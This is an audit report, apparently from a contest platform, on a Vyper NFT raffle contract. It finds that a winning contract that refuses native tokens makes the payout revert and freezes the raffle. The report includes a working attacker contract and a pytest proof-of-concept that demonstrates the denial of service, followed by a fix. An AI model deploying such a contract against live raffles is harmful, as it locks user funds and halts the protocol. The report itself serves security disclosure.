Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

DoS attack can leave the protocol in an unusable state

Summary

The standard flow of execution of the protocol can be completely halted, if the winner of a raffle is a smart contract that does not accept payments in native tokens. As the transaction to send the prize to the winner (the smart contract) will revert, the raffle smart contract is frozen in a state where the last raffle cannot be closed, and a new one cannot be started, completely halting functionality.

Vulnerability Details

The flow of execution at the end of a raffle is the following:

  • the protocol requests a random value to the VRF

  • after an unknown period of time, the VRF performs a callback to the raffle smart contract, calling rawFulfillRandomWords, which triggers the execution of the following internal function:

@internal
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
ERC721._mint(recent_winner, ERC721._total_supply())
send(recent_winner, self.balance)

This function should reward the winner and set the smart contract in a state that is ready to start a new raffle.
However, the protocol does not account for the possibility that the final send fails and reverts.
Let's suppose, for example, that the winner of the raffle is the following smart contract:

# SPDX-License-Identifier: MIT
# @version ^0.4.0b1
raffle_address:address
@deploy
@payable
def __init__(raffle_address: address):
self.raffle_address = raffle_address
@external
def attack():
call_data: Bytes[4] = method_id("enter_raffle()")
response: Bytes[32] = raw_call(self.raffle_address, call_data, max_outsize=32, value=self.balance)

This smart contract can take part in the raffle, but is not able to receive the native tokens that come with winning a raffle.
If this smart contract were to win the raffle, the callback from VRF would always revert, meaning that the status of the raffle would be stuck in Calculating, not able to close this raffle and start a new one, completely freezing the protocol, forcing the deployment of a new contract.

To test this scenario, using the above smart contract as an attacker, the following test can be used:

def test_DoS_alwaysRevert(raffle_boa, vrf_coordinator_boa):
#create attack contract, give it enough funding to participate in the raffle
attack_contract = boa.load(ATTACK_LOCATION, raffle_boa.address)
boa.env.set_balance(attack_contract.address, STARTING_BALANCE)
#call the contract to enter the raffle
attack_contract.attack()
#wait for the raffle to finish and the contract to win
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
#the callback from the VRF should fail,
#as the winner (the contract) does not accept native tokens
with boa.reverts():
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
#now it is no longer possible to enter the raffle
boa.env.set_balance(USER, STARTING_BALANCE)
with boa.env.prank(USER):
with boa.reverts("SnekRaffle: Raffle not open"):
raffle_boa.enter_raffle(value=STARTING_BALANCE)

This test shows the denial of service caused by a winning smart contract not capable of handling incoming native tokens. The winner cannot get rewards, and the status of the raffle cannot be closed (first revert). Additionally, it is not possible to enter a new raffle (second revert).

Impact

The protocol is halted in an unusable, frozen state. All funds in the smart contract are lost forever. The winner cannot redeem their win, and, in order to run new raffles, a new protocol has to be deployed.

Tools Used

Manual review, VSCode, Pytest

Recommendations

The smart contract should check that send was successful, and account for the possibility that the winner is a smart contract that cannot handle incoming native tokens.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Winner can be a contract that refuses ETH and brinks the whole contract + reverts on Chainlink VRF

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.